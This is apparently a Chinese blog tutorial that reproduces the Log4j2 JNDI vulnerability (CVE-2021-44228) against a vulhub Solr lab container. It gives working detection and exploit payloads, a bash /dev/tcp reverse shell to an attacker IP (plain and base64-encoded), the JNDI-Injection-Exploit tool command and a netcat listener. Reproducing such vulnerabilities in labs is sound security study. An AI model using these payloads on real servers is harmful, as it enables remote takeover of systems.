Log4j2漏洞复现

Log4j2漏洞复现

原理介绍

​ 因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell

影响版本:log4j2.x <= 2.14.1

环境介绍

使用的vulhub里的log4j2的靶场

 cd vulhub/log4j/CVE-2021-44228//进入靶场
 
 docker-compose up -d  //启动靶场

Log4j2漏洞复现_第1张图片

漏洞复现步骤

一、漏洞探测

一般我们会对log4j2这个漏洞进行探测,然后再做利用。

这里我们使用DNSLog来进行探测漏洞存在的注入点

1.访问dnslog.cn获取测试域名地址

Log4j2漏洞复现_第2张图片

2.我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.7pa8mv.dnslog.cn}

Log4j2漏洞复现_第3张图片

二、获取反向shell
2.1 前期准备

1.用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

项目地址 https://github.com/sayers522/JNDI-Injection-Exploit

下载后使用mvn或者idea将项目打为jar包

2 构造反弹shell用到的命令

bash -i >& /dev/tcp/攻击机地址地址/攻击机端口号 0>&1
//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹

3.base64编码

使用在线base64编码平台将反弹shell进行编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==

4.构造解析base64命令行代码

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}

5.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar脚本

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}" -A "192.168.111.1" 

//-C: 执行命令
//-A: 攻击机地址

6 在攻击端启动nc监听反弹端口

nc -lvvp 8080
2.2 脚本利用

执行成功后,界面如下:

Log4j2漏洞复现_第4张图片

得知我们之前探测java的jdk为1.8.0所以选择第二条ladp地址

/solr/admin/cores?_=${jndi:ldap://192.168.111.1:1389/Exploit}

Log4j2漏洞复现_第5张图片

访问后,我们可以看到服务器去下载了恶意类

Log4j2漏洞复现_第6张图片

此时攻击端的8080端口得到了服务器的shell

Log4j2漏洞复现_第7张图片

你可能感兴趣的:(log4j)